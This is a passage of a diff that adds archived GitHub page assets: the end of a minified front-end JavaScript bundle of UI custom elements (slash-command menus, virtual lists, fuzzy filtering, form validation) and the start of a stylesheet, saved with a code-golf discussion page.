n=Ot.get(s);if(n&&n.parentElement===s.parentElement)n.innerHTML="";else{n=document.createElement("div"),Ot.set(s,n);const g=window.getComputedStyle(s),T=Gt.slice(0);e==="textarea"?T.push("white-space:pre-wrap;"):T.push("white-space:nowrap;");for(let x=0,O=Ht.length;x{e.remove()},5e3),{top:r.top-i.top,left:r.left-i.left}}a(Zt,"textFieldSelectionPosition");const at=new WeakMap;class Bt{constructor(t,e){this.expander=t,this.input=e,this.combobox=null,this.menu=null,this.match=null,this.justPasted=!1,this.oninput=this.onInput.bind(this),this.onpaste=this.onPaste.bind(this),this.onkeydown=this.onKeydown.bind(this),this.oncommit=this.onCommit.bind(this),this.onmousedown=this.onMousedown.bind(this),this.onblur=this.onBlur.bind(this),this.interactingWithMenu=!1,e.addEventListener("paste",this.onpaste),e.addEventListener("input",this.oninput),e.addEventListener("keydown",this.onkeydown),e.addEventListener("blur",this.onblur)}destroy(){this.input.removeEventListener("paste",this.onpaste),this.input.removeEventListener("input",this.oninput),this.input.removeEventListener("keydown",this.onkeydown),this.input.removeEventListener("blur",this.onblur)}activate(t,e){this.input===document.activeElement&&this.setMenu(t,e)}deactivate(){const t=this.menu,e=this.combobox;return!t||!e?!1:(this.menu=null,this.combobox=null,t.removeEventListener("combobox-commit",this.oncommit),t.removeEventListener("mousedown",this.onmousedown),e.destroy(),t.remove(),!0)}setMenu(t,e){this.deactivate(),this.menu=e,e.id||(e.id=`text-expander-${Math.floor(Math.random()*1e5).toString()}`),this.expander.append(e);const n=e.querySelector(".js-slash-command-menu-items");n?this.combobox=new kt.Z(this.input,n):this.combobox=new kt.Z(this.input,e);const{top:i,left:r}=Zt(this.input,t.position),u=parseInt(window.getComputedStyle(this.input).fontSize);e.style.top=`${i+u}px`,e.style.left=`${r}px`,this.combobox.start(),e.addEventListener("combobox-commit",this.oncommit),e.addEventListener("mousedown",this.onmousedown),this.combobox.navigate(1)}setValue(t){if(t==null)return;const e=this.match;if(!e)return;const n=this.input.value.substring(0,e.position-e.key.length),i=this.input.value.substring(e.position+e.text.length);let{cursor:r,value:u}=this.replaceCursorMark(t);u=(u==null?void 0:u.length)===0?u:`${u} `,this.input.value=n+u+i,this.deactivate(),this.input.focus(),r=n.length+(r||u.length),this.input.selectionStart=r,this.input.selectionEnd=r}replaceCursorMark(t){const e=/%cursor%/gm,n=e.exec(t);return n?{cursor:n.index,value:t.replace(e,"")}:{cursor:null,value:t}}async onCommit({target:t}){const e=t;if(!(e instanceof HTMLElement)||!this.combobox)return;const n=this.match;if(!n)return;const i={item:e,key:n.key,value:null},r=new CustomEvent("text-expander-value",{cancelable:!0,detail:i}),u=!this.expander.dispatchEvent(r),{onValue:g}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));await g(this.expander,n.key,e),!u&&i.value&&this.setValue(i.value)}onBlur(){if(this.interactingWithMenu){this.interactingWithMenu=!1;return}this.deactivate()}onPaste(){this.justPasted=!0}async delay(t){return new Promise(e=>setTimeout(e,t))}async onInput(){if(this.justPasted){this.justPasted=!1;return}const t=this.findMatch();if(t){if(this.match=t,await this.delay(this.appropriateDelay(this.match)),this.match!==t)return;const e=await this.notifyProviders(t);if(!this.match)return;e?this.activate(t,e):this.deactivate()}else this.match=null,this.deactivate()}appropriateDelay(t){return t.beginningOfLine||t.text!==""?0:250}findMatch(){const t=this.input.selectionEnd,e=this.input.value;for(const n of this.expander.keys){const i=$t(e,n,t);if(i)return{text:i.word,key:n,position:i.position,beginningOfLine:i.beginningOfLine}}}async notifyProviders(t){const e=[],n=a(x=>e.push(x),"provide"),i=new CustomEvent("text-expander-change",{cancelable:!0,detail:{provide:n,text:t.text,key:t.key}});if(!this.expander.dispatchEvent(i))return;const{onChange:u}=await m.e("app_assets_modules_github_slash-command-expander-element_slash-command-suggester_ts").then(m.bind(m,49914));return u(this.expander,t.key,n,t.text),(await Promise.all(e)).filter(x=>x.matched).map(x=>x.fragment)[0]}onMousedown(){this.interactingWithMenu=!0}onKeydown(t){t.key==="Escape"&&this.deactivate()&&(t.stopImmediatePropagation(),t.preventDefault())}}a(Bt,"SlashCommandExpander");class Mt extends HTMLElement{get keys(){const t=this.getAttribute("keys");return t?t.split(" "):[]}connectedCallback(){const t=this.querySelector('input[type="text"], textarea');if(!(t instanceof HTMLInputElement||t instanceof HTMLTextAreaElement))return;const e=new Bt(this,t);at.set(this,e)}disconnectedCallback(){const t=at.get(this);!t||(t.destroy(),at.delete(this))}setValue(t){const e=at.get(this);!e||e.setValue(t)}setMenu(t,e=!1){const n=at.get(this);!n||!n.match||(e&&(n.interactingWithMenu=!0),n.setMenu(n.match,t))}closeMenu(){const t=at.get(this);!t||t.setValue("")}isLoading(){const t=this.getElementsByClassName("js-slash-command-expander-loading")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}showError(){const t=this.getElementsByClassName("js-slash-command-expander-error")[0];if(t){const e=t.cloneNode(!0);e.classList.remove("d-none"),this.setMenu(e)}}}a(Mt,"SlashCommandExpanderElement"),window.customElements.get("slash-command-expander")||(window.SlashCommandExpanderElement=Mt,window.customElements.define("slash-command-expander",Mt));var Xt=Object.defineProperty,Qt=Object.getOwnPropertyDescriptor,_t=a((s,t,e,n)=>{for(var i=n>1?void 0:n?Qt(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Xt(t,e,i),i},"text_suggester_element_decorateClass");let pt=a(class extends HTMLElement{acceptSuggestion(){var s;((s=this.suggestion)==null?void 0:s.textContent)&&(this.input.value=this.suggestion.textContent,this.input.dispatchEvent(new Event("input")),this.suggestionContainer&&(this.suggestionContainer.hidden=!0),this.input.focus())}},"TextSuggesterElement");_t([l.fA],pt.prototype,"input",2),_t([l.fA],pt.prototype,"suggestionContainer",2),_t([l.fA],pt.prototype,"suggestion",2),pt=_t([l.Ih],pt);var Dt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_filter_input_element_accessCheck"),R=a((s,t,e)=>(Dt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_filter_input_element_privateGet"),ot=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_filter_input_element_privateAdd"),V=a((s,t,e,n)=>(Dt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_filter_input_element_privateSet"),gt,lt,ut,et,vt,K;function Jt(s){return Boolean(s instanceof Set||s&&typeof s=="object"&&"size"in s&&"add"in s&&"delete"in s&&"clear"in s)}a(Jt,"isSetAlike");class Tt extends HTMLElement{constructor(){super(...arguments);ot(this,gt,void 0),ot(this,lt,0),ot(this,ut,null),ot(this,et,void 0),ot(this,vt,new Set),ot(this,K,null),this.filter=(t,e)=>String(t).includes(e)}static get observedAttributes(){return["src","loading","data-property","aria-owns"]}get filtered(){if(R(this,K))return R(this,K);if(this.hasAttribute("aria-owns")){const t=this.ownerDocument.getElementById(this.getAttribute("aria-owns")||"");t&&Jt(t)&&V(this,K,t)}return R(this,K)||V(this,K,new Set)}set filtered(t){V(this,K,t)}get input(){return this.querySelector("input, textarea")}get src(){return this.getAttribute("src")||""}set src(t){this.setAttribute("src",t)}get loading(){return this.getAttribute("loading")==="lazy"?"lazy":"eager"}set loading(t){this.setAttribute("loading",t)}get accept(){return this.getAttribute("accept")||""}set accept(t){this.setAttribute("accept",t)}get property(){return this.getAttribute("data-property")||""}set property(t){this.setAttribute("data-property",t)}reset(){this.filtered.clear(),V(this,vt,new Set)}clear(){!this.input||(this.input.value="",this.input.dispatchEvent(new Event("input")))}attributeChangedCallback(t,e,n){const i=this.isConnected&&this.src,r=this.loading==="eager",u=t==="src"||t==="loading"||t==="accept"||t==="data-property",g=t==="src"||t==="data-property",T=e!==n;g&&T&&(V(this,ut,null),R(this,et)&&clearTimeout(R(this,et))),i&&r&&u&&T?(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load()))):t==="aria-owns"&&V(this,K,null)}connectedCallback(){this.src&&this.loading==="eager"&&(cancelAnimationFrame(R(this,lt)),V(this,lt,requestAnimationFrame(()=>this.load())));const t=this.input;if(!t)return;const e=this.getAttribute("aria-owns");e!==null&&this.attributeChangedCallback("aria-owns","",e),t.setAttribute("autocomplete","off"),t.setAttribute("spellcheck","false"),this.src&&this.loading==="lazy"&&(document.activeElement===t?this.load():t.addEventListener("focus",()=>{this.load()},{once:!0})),t.addEventListener("input",this)}disconnectedCallback(){var t;(t=this.input)==null||t.removeEventListener("input",this)}handleEvent(t){var e,n;t.type==="input"&&(R(this,et)&&clearTimeout(R(this,et)),V(this,et,window.setTimeout(()=>this.filterItems(),((n=(e=this.input)==null?void 0:e.value)==null?void 0:n.length)||0<3?300:0)))}async load(){var t;(t=R(this,gt))==null||t.abort(),V(this,gt,new AbortController);const{signal:e}=R(this,gt);if(!this.src)throw new Error("missing src");if(await new Promise(n=>setTimeout(n,0)),!e.aborted){this.dispatchEvent(new Event("loadstart"));try{const n=await this.fetch(this.request(),{signal:e});if(location.origin+this.src!==n.url)return;if(!n.ok)throw new Error(`Failed to load resource: the server responded with a status of ${n.status}`);V(this,vt,new Set((await n.json())[this.property])),V(this,ut,null),this.dispatchEvent(new Event("loadend"))}catch(n){if(e.aborted){this.dispatchEvent(new Event("loadend"));return}throw(async()=>(this.dispatchEvent(new Event("error")),this.dispatchEvent(new Event("loadend"))))(),n}this.filtered.clear(),this.filterItems()}}request(){return new Request(this.src,{method:"GET",credentials:"same-origin",headers:{Accept:this.accept||"application/json"}})}fetch(t,e){return fetch(t,e)}filterItems(){var t,e;const n=(e=(t=this.input)==null?void 0:t.value.trim())!=null?e:"",i=R(this,ut);if(V(this,ut,n),n===i)return;this.dispatchEvent(new CustomEvent("virtual-filter-input-filter"));let r;i&&n.includes(i)?r=this.filtered:(r=R(this,vt),this.filtered.clear());for(const u of r)this.filter(u,n)?this.filtered.add(u):this.filtered.delete(u);this.dispatchEvent(new CustomEvent("virtual-filter-input-filtered"))}}a(Tt,"VirtualFilterInputElement"),gt=new WeakMap,lt=new WeakMap,ut=new WeakMap,et=new WeakMap,vt=new WeakMap,K=new WeakMap;const re=null;window.customElements.get("virtual-filter-input")||(window.VirtualFilterInputElement=Tt,window.customElements.define("virtual-filter-input",Tt));var Wt=a((s,t,e)=>{if(!t.has(s))throw TypeError("Cannot "+e)},"virtual_list_element_accessCheck"),v=a((s,t,e)=>(Wt(s,t,"read from private field"),e?e.call(s):t.get(s)),"virtual_list_element_privateGet"),nt=a((s,t,e)=>{if(t.has(s))throw TypeError("Cannot add the same private member more than once");t instanceof WeakSet?t.add(s):t.set(s,e)},"virtual_list_element_privateAdd"),Z=a((s,t,e,n)=>(Wt(s,t,"write to private field"),n?n.call(s,e):t.set(s,e),e),"virtual_list_element_privateSet"),st,F,Q,$,Et,At,ct;class Pt extends HTMLElement{constructor(){super(...arguments);nt(this,st,!1),nt(this,F,new Set),nt(this,Q,new Map),nt(this,$,1/0),nt(this,Et,new Map),nt(this,At,new Map),nt(this,ct,0)}static get observedAttributes(){return["data-updating"]}get updating(){return this.getAttribute("data-updating")==="lazy"?"lazy":"eager"}set updating(t){this.setAttribute("data-updating",t)}get size(){return v(this,F).size}get range(){const t=this.getBoundingClientRect().height,{scrollTop:e}=this,n=`${e}-${t}`;if(v(this,Et).has(n))return v(this,Et).get(n);let i=0,r=0,u=0,g=0;const T=v(this,Q);for(const x of v(this,F)){const O=T.get(x)||v(this,$);if(u+O=t)break}return[i,r]}attributeChangedCallback(t,e,n){if(e===n||!this.isConnected)return;const i=t==="data-updating"&&n==="eager",r=t==="data-sorted"&&this.hasAttribute("data-sorted");(i||r)&&this.update()}connectedCallback(){this.addEventListener("scroll",()=>this.update()),this.updateSync=this.updateSync.bind(this)}update(){v(this,ct)&&cancelAnimationFrame(v(this,ct)),!v(this,st)&&this.hasAttribute("data-sorted")?Z(this,ct,requestAnimationFrame(()=>{this.dispatchEvent(new CustomEvent("virtual-list-sort",{cancelable:!0}))&&this.sort()})):Z(this,ct,requestAnimationFrame(this.updateSync))}renderItem(t){const e={item:t,fragment:document.createDocumentFragment()};return this.dispatchEvent(new CustomEvent("virtual-list-render-item",{detail:e})),e.fragment.children[0]}recalculateHeights(t){const e=this.querySelector("ul, ol, tbody");e&&(e.append(this.renderItem(t)),Z(this,$,e.children[0].getBoundingClientRect().height),v(this,Q).set(t,v(this,$)),e.replaceChildren())}updateSync(){const t=this.querySelector("ul, ol");if(!t)return;const[e,n]=this.range;if(nn){T=!1;break}let it=null;if(u.has(X))it=u.get(X);else{if(it=this.renderItem(X),!it)continue;u.set(X,it)}r.set(X,it)}t.replaceChildren(...r.values()),t.style.paddingTop=`${x}px`;const O=this.size*v(this,$);t.style.height=`${O||0}px`;let J=!1;const It=this.getBoundingClientRect().bottom;for(const[X,it]of r){const{height:ee,bottom:ne}=it.getBoundingClientRect();J=J||ne>=It,v(this,Q).set(X,ee)}if(!T&&this.size>r.size&&!J)return v(this,Et).delete(`${this.scrollTop}-${this.getBoundingClientRect().height}`),this.update();this.dispatchEvent(new CustomEvent("virtual-list-updated"))}has(t){return v(this,F).has(t)}add(t){return v(this,F).add(t),Z(this,st,!1),Number.isFinite(v(this,$))||this.recalculateHeights(t),this.updating==="eager"&&this.update(),this}delete(t){const e=v(this,F).delete(t);return Z(this,st,!1),v(this,Q).delete(t),this.updating==="eager"&&this.update(),e}clear(){v(this,F).clear(),v(this,Q).clear(),Z(this,$,1/0),Z(this,st,!0),this.updating==="eager"&&this.update()}forEach(t,e){for(const n of this)t.call(e,n,n,this)}entries(){return v(this,F).entries()}values(){return v(this,F).values()}keys(){return v(this,F).keys()}[Symbol.iterator](){return v(this,F)[Symbol.iterator]()}sort(t){return Z(this,F,new Set(Array.from(this).sort(t))),Z(this,st,!0),this.updating==="eager"&&this.update(),this}}a(Pt,"VirtualListElement"),st=new WeakMap,F=new WeakMap,Q=new WeakMap,$=new WeakMap,Et=new WeakMap,At=new WeakMap,ct=new WeakMap;const ae=null;window.customElements.get("virtual-list")||(window.VirtualListElement=Pt,window.customElements.define("virtual-list",Pt));var Yt=Object.defineProperty,te=Object.getOwnPropertyDescriptor,Ct=a((s,t,e,n)=>{for(var i=n>1?void 0:n?te(t,e):t,r=s.length-1,u;r>=0;r--)(u=s[r])&&(i=(n?u(t,e,i):u(i))||i);return n&&i&&Yt(t,e,i),i},"visible_password_element_decorateClass");let wt=a(class extends HTMLElement{show(){this.input.type="text",this.input.focus(),this.showButton.hidden=!0,this.hideButton.hidden=!1}hide(){this.input.type="password",this.input.focus(),this.hideButton.hidden=!0,this.showButton.hidden=!1}},"VisiblePasswordElement");Ct([l.fA],wt.prototype,"input",2),Ct([l.fA],wt.prototype,"showButton",2),Ct([l.fA],wt.prototype,"hideButton",2),wt=Ct([l.Ih],wt)},7679:(B,P,m)=>{m.d(P,{H:()=>y,v:()=>L});var b=m(59753);function L(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!1)}a(L,"showGlobalError");function y(){const p=document.getElementById("ajax-error-message");p&&(p.hidden=!0)}a(y,"hideGlobalError"),(0,b.on)("deprecatedAjaxError","[data-remote]",function(p){const E=p.detail,{error:I,text:D}=E;p.currentTarget===p.target&&(I==="abort"||I==="canceled"||(/{m.d(P,{G:()=>_});var b=m(45075),L=m(64463),y=m(59753);const p=["input[pattern]","input[required]","textarea[required]","input[data-required-change]","textarea[data-required-change]","input[data-required-value]","textarea[data-required-value]"].join(",");function E(d){const o=d.getAttribute("data-required-value"),h=d.getAttribute("data-required-value-prefix");if(d.value===o)d.setCustomValidity("");else{let f=o;h&&(f=h+f),d.setCustomValidity(f)}}a(E,"checkValidityForRequiredValueField"),(0,b.q6)("[data-required-value]",function(d){const o=d.currentTarget;E(o)}),(0,y.on)("change","[data-required-value]",function(d){const o=d.currentTarget;E(o),_(o.form)}),(0,b.q6)("[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity("")}),(0,y.on)("change","[data-required-trimmed]",function(d){const o=d.currentTarget;o.value.trim()===""?o.setCustomValidity(o.getAttribute("data-required-trimmed")):o.setCustomValidity(""),_(o.form)}),(0,b.ZG)(p,d=>{let o=d.checkValidity();function h(){const f=d.checkValidity();f!==o&&d.form&&_(d.form),o=f}a(h,"inputHandler"),d.addEventListener("input",h),d.addEventListener("blur",a(function f(){d.removeEventListener("input",h),d.removeEventListener("blur",f)},"blurHandler"))});const I=new WeakMap;function D(d){I.get(d)||(d.addEventListener("change",()=>_(d)),I.set(d,!0))}a(D,"installHandlers");function _(d){const o=d.checkValidity();for(const h of d.querySelectorAll("button[data-disable-invalid]"))h.disabled=!o}a(_,"validate"),(0,L.N7)("button[data-disable-invalid]",{constructor:HTMLButtonElement,initialize(d){const o=d.form;o&&(D(o),d.disabled=!o.checkValidity())}}),(0,L.N7)("input[data-required-change], textarea[data-required-change]",function(d){const o=d,h=o.type==="radio"&&o.form?o.form.elements.namedItem(o.name).value:null;function f(c){const l=o.form;if(c&&o.type==="radio"&&l&&h)for(const w of l.elements.namedItem(o.name))w instanceof HTMLInputElement&&w.setCustomValidity(o.value===h?"unchanged":"");else o.setCustomValidity(o.value===(h||o.defaultValue)?"unchanged":"")}a(f,"customValidity"),o.addEventListener("input",f),o.addEventListener("change",f),f(),o.form&&_(o.form)}),document.addEventListener("reset",function(d){if(d.target instanceof HTMLFormElement){const o=d.target;setTimeout(()=>_(o))}})},56238:(B,P,m)=>{m.d(P,{Bt:()=>E,DN:()=>_,KL:()=>h,Se:()=>D,qC:()=>f,sw:()=>d});var b=m(59753),L=m(2061),y=m(7679);(0,b.on)("click",".js-remote-submit-button",async function(c){const w=c.currentTarget.form;c.preventDefault();let C;try{C=await fetch(w.action,{method:w.method,body:new FormData(w),headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}catch{}C&&!C.ok&&(0,y.v)()});function p(c,l,w){return c.dispatchEvent(new CustomEvent(l,{bubbles:!0,cancelable:w}))}a(p,"fire");function E(c,l){l&&(I(c,l),(0,L.j)(l)),p(c,"submit",!0)&&c.submit()}a(E,"requestSubmit");function I(c,l){if(!(c instanceof HTMLFormElement))throw new TypeError("The specified element is not of type HTMLFormElement.");if(!(l instanceof HTMLElement))throw new TypeError("The specified element is not of type HTMLElement.");if(l.type!=="submit")throw new TypeError("The specified element is not a submit button.");if(!c||c!==l.form)throw new Error("The specified element is not owned by the form element.")}a(I,"checkButtonValidity");function D(c,l){if(typeof l=="boolean")if(c instanceof HTMLInputElement)c.checked=l;else throw new TypeError("only checkboxes can be set to boolean value");else{if(c.type==="checkbox")throw new TypeError("checkbox can't be set to string value");c.value=l}p(c,"change",!1)}a(D,"changeValue");function _(c,l){for(const w in l){const C=l[w],A=c.elements.namedItem(w);(A instanceof HTMLInputElement||A instanceof HTMLTextAreaElement)&&(A.value=C)}}a(_,"fillFormValues");function d(c){if(!(c instanceof HTMLElement))return!1;const l=c.nodeName.toLowerCase(),w=(c.getAttribute("type")||"").toLowerCase();return l==="select"||l==="textarea"||l==="input"&&w!=="submit"&&w!=="reset"||c.isContentEditable}a(d,"isFormField");function o(c){return new URLSearchParams(c)}a(o,"searchParamsFromFormData");function h(c,l){const w=new URLSearchParams(c.search),C=o(l);for(const[A,W]of C)w.append(A,W);return w.toString()}a(h,"combineGetFormSearchParams");function f(c){return o(new FormData(c)).toString()}a(f,"serialize")},99254:(B,P,m)=>{m.d(P,{Z:()=>d});var b=m(47142);const L=a((o,h,f)=>{if(!(0,b.CD)(o,h))return-1/0;const c=(0,b.Gs)(o,h);return c{o.innerHTML="";let c=0;for(const l of(0,b.m7)(h,f)){f.slice(c,l)!==""&&o.appendChild(document.createTextNode(f.slice(c,l))),c=l+1;const C=document.createElement("mark");C.textContent=f[l],o.appendChild(C)}o.appendChild(document.createTextNode(f.slice(c)))},"highlightElement"),p=new WeakMap,E=new WeakMap,I=new WeakMap,D=a(o=>{if(!I.has(o)&&o instanceof HTMLElement){const h=(o.getAttribute("data-value")||o.textContent||"").trim();return I.set(o,h),h}return I.get(o)||""},"getTextCache");class _ extends HTMLElement{connectedCallback(){const h=this.querySelector("ul");if(!h)return;const f=new Set(h.querySelectorAll("li")),c=this.querySelector("input");c instanceof HTMLInputElement&&c.addEventListener("input",()=>{this.value=c.value});const l=new MutationObserver(C=>{let A=!1;for(const W of C)if(W.type==="childList"&&W.addedNodes.length){for(const q of W.addedNodes)if(q instanceof HTMLLIElement&&!f.has(q)){const z=D(q);A=A||(0,b.CD)(this.value,z),f.add(q)}}A&&this.sort()});l.observe(h,{childList:!0});const w={handler:l,items:f,lazyItems:new Map,timer:null};E.set(this,w)}disconnectedCallback(){const h=E.get(this);h&&(h.handler.disconnect(),E.delete(this))}addLazyItems(h,f){const c=E.get(this);if(!c)return;const{lazyItems:l}=c,{value:w}=this;let C=!1;for(const A of h)l.set(A,f),C=C||Boolean(w)&&(0,b.CD)(w,A);C&&this.sort()}sort(){const h=p.get(this);h&&(h.aborted=!0);const f={aborted:!1};p.set(this,f);const{minScore:c,markSelector:l,maxMatches:w,value:C}=this,A=E.get(this);if(!A||!this.dispatchEvent(new CustomEvent("fuzzy-list-will-sort",{cancelable:!0,detail:C})))return;const{items:W,lazyItems:q}=A,z=this.hasAttribute("mark-selector"),U=this.querySelector("ul");if(!U)return;const k=[];if(C){for(const M of W){const S=D(M),H=L(C,S,c);H!==-1/0&&k.push({item:M,score:H})}for(const[M,S]of q){const H=L(C,M,c);H!==-1/0&&k.push({text:M,render:S,score:H})}k.sort((M,S)=>S.score-M.score).splice(w)}else{let M=k.length;for(const S of W){if(M>=w)break;k.push({item:S,score:1}),M+=1}for(const[S,H]of q){if(M>=w)break;k.push({text:S,render:H,score:1}),M+=1}}requestAnimationFrame(()=>{if(f.aborted)return;const M=U.querySelector('input[type="radio"]:checked');U.innerHTML="";let S=0;const H=a(()=>{if(f.aborted)return;const G=Math.min(k.length,S+100),dt=document.createDocumentFragment();for(let j=S;j0),this.dispatchEvent(new CustomEvent("fuzzy-list-sorted",{detail:k.length}))}},"nextBatch");H()})}get value(){return this.getAttribute("value")||""}set value(h){this.setAttribute("value",h)}get markSelector(){return this.getAttribute("mark-selector")||""}set markSelector(h){h?this.setAttribute("mark-selector",h):this.removeAttribute("mark-selector")}get minScore(){return Number(this.getAttribute("min-score")||0)}set minScore(h){Number.isNaN(h)||this.setAttribute("min-score",String(h))}get maxMatches(){return Number(this.getAttribute("max-matches")||1/0)}set maxMatches(h){Number.isNaN(h)||this.setAttribute("max-matches",String(h))}static get observedAttributes(){return["value","mark-selector","min-score","max-matches"]}attributeChangedCallback(h,f,c){if(f===c)return;const l=E.get(this);!l||(l.timer&&window.clearTimeout(l.timer),l.timer=window.setTimeout(()=>this.sort(),100))}}a(_,"FuzzyListElement");const d=_;window.customElements.get("fuzzy-list")||(window.FuzzyListElement=_,window.customElements.define("fuzzy-list",_))},45075:(B,P,m)=>{m.d(P,{ZG:()=>E,q6:()=>D,w4:()=>I});var b=m(8439);let L=!1;const y=new b.Z;function p(_){const d=_.target;if(d instanceof HTMLElement&&d.nodeType!==Node.DOCUMENT_NODE)for(const o of y.matches(d))o.data.call(null,d)}a(p,"handleFocus");function E(_,d){L||(L=!0,document.addEventListener("focus",p,!0)),y.add(_,d),document.activeElement instanceof HTMLElement&&document.activeElement.matches(_)&&d(document.activeElement)}a(E,"onFocus");function I(_,d,o){function h(f){const c=f.currentTarget;!c||(c.removeEventListener(_,o),c.removeEventListener("blur",h))}a(h,"blurHandler"),E(d,function(f){f.addEventListener(_,o),f.addEventListener("blur",h)})}a(I,"onKey");function D(_,d){function o(h){const{currentTarget:f}=h;!f||(f.removeEventListener("input",d),f.removeEventListener("blur",o))}a(o,"blurHandler"),E(_,function(h){h.addEventListener("input",d),h.addEventListener("blur",o)})}a(D,"onInput")},12981:(B,P,m)=>{m.d(P,{r:()=>b});function b(L,y){const p=L.createElement("template");return p.innerHTML=y,L.importNode(p.content,!0)}a(b,"parseHTML")},37211:(B,P,m)=>{m.d(P,{X:()=>L});var b=m(64463);function L(){return/Windows/.test(navigator.userAgent)?"windows":/Macintosh/.test(navigator.userAgent)?"mac":null}a(L,"getPlatform");function y(p){const E=(p.getAttribute("data-platforms")||"").split(","),I=L();return Boolean(I&&E.includes(I))}a(y,"runningOnPlatform"),(0,b.N7)(".js-remove-unless-platform",function(p){y(p)||p.remove()})},2061:(B,P,m)=>{m.d(P,{j:()=>b,u:()=>L});function b(y){const p=y.closest("form");if(!(p instanceof HTMLFormElement))return;let E=L(p);if(y.name){const I=y.matches("input[type=submit]")?"Submit":"",D=y.value||I;E||(E=document.createElement("input"),E.type="hidden",E.classList.add("is-submit-button-value"),p.prepend(E)),E.name=y.name,E.value=D}else E&&E.remove()}a(b,"persistSubmitButtonValue");function L(y){const p=y.querySelector("input.is-submit-button-value");return p instanceof HTMLInputElement?p:null}a(L,"findPersistedSubmitButtonValue")}},B=>{var P=a(b=>B(B.s=b),"__webpack_exec__");B.O(0,["vendors-node_modules_selector-observer_dist_index_esm_js","vendors-node_modules_delegated-events_dist_index_js-node_modules_github_details-dialog-elemen-63debe","vendors-node_modules_github_filter-input-element_dist_index_js-node_modules_github_remote-inp-c7e9ed","vendors-node_modules_github_catalyst_lib_index_js-node_modules_github_time-elements_dist_index_js","vendors-node_modules_github_file-attachment-element_dist_index_js-node_modules_primer_view-co-52e104"],()=>P(47486));var m=B.O()}]);})(); + +//# sourceMappingURL=github-elements-1649ccafecd9.js.map \ No newline at end of file diff --git a/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css new file mode 100644 index 0000000..2192c7e --- /dev/null +++ b/archive/Problem 7 Self-replication · Discussion #8 · Ta180m_Idiot-Code-Golf_files/global-181aeb293fed.css @@ -0,0 +1,11 @@ +.color-border-inverse{border-color:var(--color-fg-on-emphasis) !important}.bg-gray-2,.bg-gray-3{background-color:var(--color-neutral-muted) !important}.color-text-white{color:var(--color-scale-white) !important}.border-white-fade{border-color:rgba(255,255,255,.15) !important}.lead{color:var(--color-fg-muted)}.text-emphasized{color:var(--color-fg-default)}.Label.Label--orange{color:var(--color-severe-fg);border-color:var(--color-severe-emphasis)}.Label.Label--purple{color:var(--color-done-fg);border-color:var(--color-done-emphasis)}.Label.Label--pink{color:var(--color-sponsors-fg);border-color:var(--color-sponsors-emphasis)}/*! + * GitHub Light v0.5.0 + * Copyright (c) 2012 - 2017 GitHub, Inc. + * Licensed under MIT (https://github.com/primer/github-syntax-theme-generator/blob/master/LICENSE) + */.pl-c{color:var(--color-prettylights-syntax-comment)}.pl-c1,.pl-s .pl-v{color:var(--color-prettylights-syntax-constant)}.pl-e,.pl-en{color:var(--color-prettylights-syntax-entity)}.pl-smi,.pl-s .pl-s1{color:var(--color-prettylights-syntax-storage-modifier-import)}.pl-ent{color:var(--color-prettylights-syntax-entity-tag)}.pl-k{color:var(--color-prettylights-syntax-keyword)}.pl-s,.pl-pds,.pl-s .pl-pse .pl-s1,.pl-sr,.pl-sr .pl-cce,.pl-sr .pl-sre,.pl-sr .pl-sra{color:var(--color-prettylights-syntax-string)}.pl-v,.pl-smw{color:var(--color-prettylights-syntax-variable)}.pl-bu{color:var(--color-prettylights-syntax-brackethighlighter-unmatched)}.pl-ii{color:var(--color-prettylights-syntax-invalid-illegal-text);background-color:var(--color-prettylights-syntax-invalid-illegal-bg)}.pl-c2{color:var(--color-prettylights-syntax-carriage-return-text);background-color:var(--color-prettylights-syntax-carriage-return-bg)}.pl-c2::before{content:"^M"}.pl-sr .pl-cce{font-weight:bold;color:var(--color-prettylights-syntax-string-regexp)}.pl-ml{color:var(--color-prettylights-syntax-markup-list)}.pl-mh,.pl-mh .pl-en,.pl-ms{font-weight:bold;color:var(--color-prettylights-syntax-markup-heading)}.pl-mi{font-style:italic;color:var(--color-prettylights-syntax-markup-italic)}.pl-mb{font-weight:bold;color:var(--color-prettylights-syntax-markup-bold)}.pl-md{color:var(--color-prettylights-syntax-markup-deleted-text);background-color:var(--color-prettylights-syntax-markup-deleted-bg)}.pl-mi1{color:var(--color-prettylights-syntax-markup-inserted-text);background-color:var(--color-prettylights-syntax-markup-inserted-bg)}.pl-mc{color:var(--color-prettylights-syntax-markup-changed-text);background-color:var(--color-prettylights-syntax-markup-changed-bg)}.pl-mi2{color:var(--color-prettylights-syntax-markup-ignored-text);background-color:var(--color-prettylights-syntax-markup-ignored-bg)}.pl-mdr{font-weight:bold;color:var(--color-prettylights-syntax-meta-diff-range)}.pl-ba{color:var(--color-prettylights-syntax-brackethighlighter-angle)}.pl-sg{color:var(--color-prettylights-syntax-sublimelinter-gutter-mark)}.pl-corl{text-decoration:underline;color:var(--color-prettylights-syntax-constant-other-reference-link)}.CodeMirror{font-family:monospace;height:300px;color:black;direction:ltr}.CodeMirror-lines{padding:4px 0}.CodeMirror pre.CodeMirror-line,.CodeMirror pre.CodeMirror-line-like{padding:0 4px}.CodeMirror-scrollbar-filler,.CodeMirror-gutter-filler{background-color:white}.CodeMirror-gutters{border-right:1px solid #ddd;background-color:#f7f7f7;white-space:nowrap}.CodeMirror-linenumber{padding:0 3px 0 5px;min-width:20px;text-align:right;color:#999;white-space:nowrap}.CodeMirror-guttermarker{color:black}.CodeMirror-guttermarker-subtle{color:#999}.CodeMirror-cursor{border-left:1px solid black;border-right:none;width:0}.CodeMirror 